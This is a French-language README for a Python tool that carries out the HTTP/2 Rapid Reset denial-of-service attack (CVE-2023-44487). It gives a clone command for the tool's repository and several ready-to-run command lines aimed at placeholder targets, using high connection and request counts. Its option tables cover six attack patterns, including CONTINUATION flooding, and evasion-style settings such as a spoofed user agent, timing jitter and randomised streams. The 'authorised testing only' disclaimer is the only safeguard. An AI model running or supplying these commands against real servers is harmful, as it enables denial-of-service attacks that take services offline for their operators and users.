
Outil de test basé sur Python pour CVE-2023-44487 (HTTP/2 Rapid Reset) avec plusieurs schémas d'attaque, configuration granulaire et surveillance pour les évaluations de sécurité autorisées.
Un outil de test Python complet pour CVE-2023-44487, la vulnérabilité HTTP/2 Rapid Reset. Cette version améliorée offre un contrôle granulaire des paramètres de test, plusieurs schémas d'attaque et des capacités de surveillance avancées.
Cet outil est destiné UNIQUEMENT à des fins éducatives et de test autorisé !
CVE-2023-44487, également connue sous le nom de « HTTP/2 Rapid Reset », est une vulnérabilité critique du protocole HTTP/2 qui permet aux attaquants de :
Score CVSS : 7,5 (Élevé)
Impact : Déni de service, épuisement des ressources
git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
chmod +x rapid_reset_test.py
python3 --version # Doit être 3.7+
python3 rapid_reset_test.py https://serveur-cible.com
python3 rapid_reset_test.py https://cible.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://cible.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
--jitter 0.3
python3 rapid_reset_test.py https://cible.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
python3 rapid_reset_test.py https://cible.com \
--connections 10 \
--requests 200 \
--pattern mixed_pattern \
--track-latency \
--track-responses \
--monitor-memory \
--verbose \
--debug \
--log-file attack.log
python3 rapid_reset_test.py https://cible.com \
--pattern continuation_flood \
--requests 50 \
--random-headers \
--header-count 20
| Option | Description | Défaut |
|---|---|---|
-c, --connections N | Nombre de connexions simultanées | 1 |
--connection-timeout SEC | Délai d'expiration de connexion en secondes | 10 |
--read-timeout SEC | Délai d'expiration de lecture des réponses | 5 |
--connection-delay SEC | Délai entre les connexions | 0.0 |
| Option | Description | Défaut |
|---|---|---|
-r, --requests N | Requêtes par connexion | 100 |
--delay SEC | Délai entre HEADERS et RST_STREAM | 0.001 |
--request-delay SEC | Délai entre les requêtes | 0.0 |
--jitter FACTOR | Facteur de randomisation temporelle | 0.0 |
| Option | Description | Défaut |
|---|---|---|
--pattern TYPE | Schéma d'attaque à utiliser | rapid_reset |
--burst-size N | Requêtes par rafale | 10 |
--burst-delay SEC | Délai entre les rafales | 0.1 |
Schémas disponibles :
rapid_reset - Attaque standard par réinitialisation rapideburst_reset - Attaques par rafalesgradual_reset - Taux croissant progressivementrandom_reset - Synchronisation aléatoirecontinuation_flood - Inondation de trames CONTINUATIONmixed_pattern - Mélange de schémas| Option | Description | Défaut |
|---|---|---|
--window-size BYTES | Taille initiale de fenêtre HTTP/2 | 65535 |
--frame-size BYTES | Taille maximale de trame | 16384 |
--header-table-size BYTES | Taille de table d'en-têtes HPACK | 4096 |
--enable-push | Activer le push serveur HTTP/2 | False |
--rst-error-code CODE | Code d'erreur RST_STREAM | 8 |
| Option | Description | Défaut |
|---|---|---|
--custom-headers HEADER | En-têtes personnalisés (Nom : Valeur) | None |
--random-headers | Générer des en-têtes aléatoires | False |
--header-count N | Nombre d'en-têtes aléatoires | 5 |
| Option | Description | Défaut |
|---|---|---|
--randomize-streams | Utiliser des ID de flux aléatoires | False |
--priority-frames | Inclure les informations de priorité | False |
--continue-on-error | Continuer après les erreurs | True |
--max-errors N | Nombre maximal d'erreurs avant arrêt | 10 |
| Option | Description | Défaut |
|---|---|---|
--track-latency | Suivre la latence des requêtes | False |
--track-responses | Suivre les réponses du serveur | False |
--monitor-memory | Surveiller l'utilisation de la mémoire | False |